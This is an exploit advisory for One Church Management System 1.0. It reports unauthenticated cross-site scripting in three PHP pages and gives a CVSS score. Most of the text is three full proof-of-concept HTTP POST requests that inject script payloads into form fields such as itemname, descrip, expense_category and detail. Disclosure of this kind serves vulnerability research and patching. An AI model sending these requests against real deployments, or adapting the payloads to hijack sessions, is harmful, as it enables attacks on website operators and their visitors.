One Church Management System 1.0 Cross Site Scripting

`# Exploit Title: One Church Management System 1.0 - Multiple Cross-site  
Scripting  
# Date: 17/03/2022  
# Exploit Author: Mr Empy  
# Software Link:  
https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html  
# Version: 1.0  
# Tested on: Linux  
  
Title:  
================  
One Church Management System 1.0 - Multiple Cross-site Scripting  
  
  
Summary:  
================  
The One Church Management System is affected by several applications with  
the vulnerability of Cross-site Scripting due to the lack of hygiene in  
certain parameters. The attacker can take advantage of this flaw to inject  
arbitrary javascript code to manipulate the victim's browser capabilities.  
  
  
Severity Level:  
================  
6.5 (Medium)  
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N  
  
  
Affected Product:  
================  
One Church Management System v1.0  
  
  
Steps to Reproduce:  
================  
  
* churchprofile.php XSS (unauthenticated) PoC:  
  
POST /one_church/churchprofile.php HTTP/1.1  
Host: target.com  
Content-Length: 187  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://target.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/95.0.4638.69 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,  
image/avif,image/webp,image/apng,*/*;q=0.8,application/  
signed-exchange;v=b3;q=0.9  
Referer: http://target.com/one_church/churchprofile.php  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close  
  
companyname=<XSS HERE>&regno=<XSS HERE>&companyaddress=<XSS  
HERE>&companyemail=<XSS HERE>&country=India&mobilenumber=%2B919423979339&  
submit=  
  
======================================================================  
  
* store.php XSS (unauthenticated) PoC:  
  
POST /one_church/store.php HTTP/1.1  
Host: target.com  
Content-Length: 380  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://target.com  
Content-Type: multipart/form-data; boundary=----  
WebKitFormBoundaryV1aumPNc5OAr8WJV  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/95.0.4638.69 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,  
image/avif,image/webp,image/apng,*/*;q=0.8,application/  
signed-exchange;v=b3;q=0.9  
Referer: http://target.com/one_church/store.php  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close  
  
------WebKitFormBoundaryV1aumPNc5OAr8WJV  
Content-Disposition: form-data; name="itemname"  
  
"><script>alert("XSS")</script>  
------WebKitFormBoundaryV1aumPNc5OAr8WJV  
Content-Disposition: form-data; name="descrip"  
  
"><script>alert("XSS")</script>  
------WebKitFormBoundaryV1aumPNc5OAr8WJV  
Content-Disposition: form-data; name="insert"  
  
  
------WebKitFormBoundaryV1aumPNc5OAr8WJV--  
  
======================================================================  
  
* manage_expense.php XSS (unauthenticated) PoC:  
  
POST /one_church/manage_expense.php HTTP/1.1  
Host: target.com  
Content-Length: 402  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://target.com  
Content-Type: multipart/form-data; boundary=----  
WebKitFormBoundary2XF7C8775FV2TQ4y  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/95.0.4638.69 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,  
image/avif,image/webp,image/apng,*/*;q=0.8,application/  
signed-exchange;v=b3;q=0.9  
Referer: http://target.com/one_church/manage_expense.php  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close  
  
------WebKitFormBoundary2XF7C8775FV2TQ4y  
Content-Disposition: form-data; name="expense_category"  
  
"><script>alert("XSS")</script>  
------WebKitFormBoundary2XF7C8775FV2TQ4y  
Content-Disposition: form-data; name="detail"  
  
"><script>alert("XSS")</script>  
------WebKitFormBoundary2XF7C8775FV2TQ4y  
Content-Disposition: form-data; name="submitexpense"  
  
  
------WebKitFormBoundary2XF7C8775FV2TQ4y--  
  
======================================================================  
`